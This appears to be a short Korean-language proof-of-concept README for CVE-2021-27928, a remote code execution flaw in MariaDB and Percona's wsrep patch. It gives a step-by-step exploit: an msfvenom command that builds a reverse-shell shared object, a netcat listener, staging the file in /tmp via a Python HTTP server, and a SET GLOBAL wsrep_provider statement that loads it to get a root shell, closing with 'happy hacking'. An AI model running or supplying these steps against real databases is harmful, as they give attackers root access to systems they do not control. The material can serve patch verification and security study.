shamo0/cve-2021-27928-pocCVE-2021-27928-POC
MariaDB 10.2(10.2.37 이전), 10.3(10.3.28 이전), 10.4(10.4.18 이전), 10.5(10.5.9 이전), 2021-03-03 기준 Percona Server, 그리고 2021-03-03 기준 MySQL용 wsrep 패치에서 원격 코드 실행 문제가 발견되었습니다. 신뢰할 수 없는 검색 경로로 인해 eval 주입이 발생하며, 데이터베이스 SUPER 사용자는 wsrep_provider와 wsrep_notify_cmd를 수정한 후 OS 명령을 실행할 수 있습니다. 참고: 이 문제는 Oracle 제품에는 영향을 미치지 않습니다.
Msfvenom으로 페이로드를 만들어 보겠습니다. 페이로드에는 /linux/x64/shell_reverse_tcp를 사용하고, LHOST에는 우리의 IP를, LPORT에는 포트 번호를 지정합니다. 또한 -f 옵션으로 파일 유형을 지정하는데, 이 경우에는 elf-so입니다. 그리고 -o 옵션을 사용하여 출력 파일을 CVE-2021-27928.so로 저장합니다.
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so
페이로드가 준비되었습니다! 지정한 포트에서 netcat 리스너를 설정해 보겠습니다.
파일을 대상 머신으로 옮겨 보겠습니다. 이를 위해 선호하는 어떤 방법이든 사용할 수 있습니다. 저는 python http 서버를 사용하겠습니다.
파일을 /tmp 디렉터리에 저장하겠습니다.
이제 데이터베이스에 로그인하여 wsrep_provider를 업로드한 페이로드로 설정해야 합니다.
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
이제 리스너를 확인할 차례입니다. 성공했다면 해당 머신에서 루트 셸을 획득했을 것입니다!
즐거운 해킹 되세요!
